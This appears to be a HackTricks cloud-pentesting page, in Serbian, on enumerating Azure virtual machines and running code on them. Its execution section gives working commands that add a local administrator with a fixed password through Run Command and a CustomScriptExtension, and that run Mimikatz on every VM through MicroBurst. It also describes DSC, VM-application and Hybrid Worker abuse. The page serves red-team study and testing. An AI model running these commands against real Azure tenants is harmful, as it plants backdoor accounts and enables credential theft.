Az - Virtual Machines & Network

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Iz dokumentacije: Azure virtuelne mašine su jedan od nekoliko tipova on-demand, skalabilnih računarskih resursa koje Azure nudi. Obično birate virtuelnu mašinu kada vam je potrebna veća kontrola nad računarskim okruženjem nego što druge opcije nude. Ovaj članak vam pruža informacije o tome šta treba da razmotrite pre nego što kreirate virtuelnu mašinu, kako je kreirate i kako je upravljate.

Azure mrežne informacije

Azure mreže sadrže različite entitete i načine konfiguracije. Možete pronaći kratak opis, primere i komande za enumeraciju različitih Azure mrežnih entiteta u:

pageAz - Azure Network

Azure Bastion

Azure Bastion nudi sigurno, potpuno upravljano RDP (Remote Desktop Protocol) i SSH (Secure Shell) rešenje preko SSL-a putem Azure portala. Integriran je unutar Azure virtuelne mreže, omogućavajući RDP i SSH konektivnost ka virtuelnim mašinama koristeći privatne IP adrese, izbegavajući potrebu za javnim IP adresama. Ovo ga čini sigurnijom i praktičnijom alternativom tradicionalnim metodama koje uključuju dodeljivanje javnih IP adresa i konfiguracije pravila NSG-a za pristup virtuelnim mašinama. Razvojni inženjeri i IT osoblje mogu sigurno pristupiti virtuelnim mašinama putem Azure portala koristeći svoje web pregledače, pojednostavljujući proces za razvojna i testna okruženja.

Da biste izlistali sve Azure Bastion Hostove u vašoj pretplati, možete koristiti sledeću komandu:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Enumeracija virtuelnih mašina

1. Prikupljanje informacija o VM-ovima

Da biste započeli sa pentestiranjem virtuelnih mašina (VM) u Azure cloud-u, prvo morate prikupiti informacije o dostupnim VM-ovima. Ovo možete uraditi na nekoliko načina:

a) Azure Portal

Pristupite Azure Portalu i prijavite se na svoj nalog. Zatim pratite ove korake:

  1. Kliknite na "Virtual Machines" u meniju sa leve strane.

  2. Pregledajte listu VM-ova i zabeležite njihova imena, IP adrese i druge relevantne informacije.

b) Azure CLI

Koristite Azure CLI komandu az vm list da biste dobili listu VM-ova. Izlaz će sadržati informacije kao što su ime VM-a, IP adresa, status i druge relevantne informacije.

az vm list --output table

c) Azure PowerShell

Koristite Azure PowerShell komandu Get-AzVM da biste dobili listu VM-ova. Izlaz će sadržati informacije kao što su ime VM-a, IP adresa, status i druge relevantne informacije.

Get-AzVM

2. Prikupljanje informacija o VM-ovima korišćenjem API-ja

Takođe možete koristiti Azure API-je da biste dobili informacije o VM-ovima. Ovo je korisno ako želite da automatizujete proces prikupljanja informacija ili integrišete sa drugim alatima.

a) REST API

Koristite REST API za pristupanje informacijama o VM-ovima. Zahtev može izgledati ovako:

GET /subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines?api-version=2020-06-01

b) Azure SDK

Koristite Azure SDK za programski pristup informacijama o VM-ovima. Primer koda u Pythonu:

from azure.identity import DefaultAzureCredential
from azure.mgmt.compute import ComputeManagementClient

credential = DefaultAzureCredential()
compute_client = ComputeManagementClient(credential, subscription_id)

vms = compute_client.virtual_machines.list_all()

for vm in vms:
    print(vm.name, vm.network_profile.network_interfaces[0].id)

3. Prikupljanje informacija o VM-ovima korišćenjem automatizovanih alata

Postoje i automatizovani alati koji mogu pomoći u prikupljanju informacija o VM-ovima. Na primer, alat kao što je azurerm_enum može automatski prikupiti informacije o VM-ovima u Azure cloud-u.

azurerm_enum -t virtualmachines

Ovi alati mogu biti korisni za brzo prikupljanje informacija o velikom broju VM-ova.

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Pokretanje komandi na virtuelnoj mašini

AAD prijava na virtuelnoj mašini

Moguće je omogućiti pristup korisnicima koji su autentifikovani putem AzureAD-a. Na primer, pokušavajući da pristupite linux virtuelnoj mašini: ssh username@azure-corp.com@1.1.1.1 (važno je koristiti email sa azurecorp koji se koristi prilikom prijave) možete dobiti grešku kao što je:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Samo pratite ove instrukcije odlaskom na https://microsoft.com/devicelogin i navođenjem koda, koristite e-mail i lozinku kao pristupne podatke i moći ćete se povezati putem SSH-a (ako taj korisnik ima dovoljno dozvola za to: ulogu Virtual Machine Administrator Login ili Virtual Machine User Login).

Pokreni naredbu

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Pokretanje proširenja sa prilagođenim skriptom

Proširenja virtuelne mašine (VM) u Azure-u su male aplikacije koje omogućavaju konfiguraciju nakon implementacije i automatizaciju zadataka na Azure VM-ovima. Na primer, ako virtuelna mašina zahteva instalaciju softvera, antivirusnu zaštitu ili mogućnost pokretanja skripte unutar nje, možete koristiti VM proširenje.

Stoga, ako imate pristup pisanju, možete izvršiti proizvoljni kod:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) je PowerShell alatka slična Ansible-u, koja se koristi za podešavanje hosta putem koda. DSC se integriše sa Azure-om, omogućavajući otpremanje određenih konfiguracionih fajlova. Ovi fajlovi moraju biti u skladu sa strogo definisanom sintaksom. Važno je napomenuti da DSC ekstenzija u Azure-u može izvršavati komande iz fajlova koji ispunjavaju određene formatiranje kriterijume, čak i ako sintaksa nije ispravna prema DSC standardima, kao što je prikazano na priloženoj slici.

Izvršavanje ovih komandi olakšano je pomoću funkcije Publish-AzVMDscConfiguration u Az PowerShell-u. Zahtevi uključuju .PS1 fajl sa definisanom funkcijom i fajl mora biti zapakovan u .zip fajl. Iako sintaksa možda nije tačna za DSC, kod će se i dalje izvršiti. Međutim, ekstenzija će označiti status izvršavanja kao "neuspeh", a nijedan izlaz iz komande neće biti vidljiv zbog toga što je status prebrisao poruku o neuspehu.

Definicije aplikacija za virtuelne mašine (VM)

Definicije aplikacija za virtuelne mašine (VM) omogućavaju ponovljivo implementiranje verzionisanih aplikacija na Azure VM. Ovaj resurs podržava implementaciju i ažuriranje aplikacija na VM-ovima. Da biste to postigli, potrebno je izvršiti nekoliko koraka, uključujući komande poput New-AzGalleryApplication i New-AzGalleryApplicationVersion u Az PowerShell-u.

Izvršavanje aplikacija ili komandi putem ovog metoda uključuje "VMAppExtension", koji se automatski instalira kada se aplikacija primeni na VM. Ekstenzija preuzima fajl sa određenog URI-ja i naziva ga tačno kao aplikacija, bez ekstenzije. Da biste pravilno izvršili fajl, polje "ManageActions" u REST API pozivu mora biti konfigurisano da preimenuje fajl sa odgovarajućom ekstenzijom. Nakon završetka podešavanja ovog metoda, struktura će izgledati kao na priloženoj slici.

Međutim, ovaj metod izvršavanja je relativno spor, potrebno je oko 3-4 minuta da se izvrši aplikacija ili komanda. Fajlovi koji se odnose na ovaj proces čuvaju se u određenim direktorijumima (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ za kopiranje aplikacije i C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ za status izvršavanja).

Oba ova metoda pružaju jedinstvene načine izvršavanja komandi i implementacije aplikacija u Azure okruženjima, svaki sa svojim zahtevima, koracima i razmatranjima.

Hibridne grupe radnika (HWGs) u Azure-u

Hibridne grupe radnika (HWGs) su funkcionalnost u Azure-u koja omogućava izvršavanje Runbook-ova, konfigurisanih u Automation Account-u, na Azure virtuelnoj mašini (VM) koja je deo određene HWG. Ovo izvršavanje se olakšava putem ekstenzije instalirane na VM-u, koja implementira kod Runbook-a na VM-u. Značajan aspekt ovog procesa je da stvarne akreditive ne utiču na izvršavanje jer se kod izvršava sa povišenim privilegijama, tačnije kao SYSTEM ili root, kao što je prikazano na priloženoj slici.

Važan detalj za one koji koriste Windows 10 VM-ove je potreba da se specificira verzija PowerShell-a za Runbook. Trebalo bi da se postavi da se izvršava kao PowerShell verzija 5.1 umesto 7.1. Ovaj zahtev proizlazi iz činjenice da PowerShell 7.1 nije instaliran podrazumevano na ovim VM-ovima, što dovodi do neuspeha izvršavanja skripta ako je specificirana verzija 7.1.

Ova funkcionalnost Azure-a pruža robustan metod za automatizaciju i upravljanje zadacima u hibridnim okruženjima, omogućavajući centralizovano upravljanje i izvršavanje zadataka na Azure VM-ovima.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated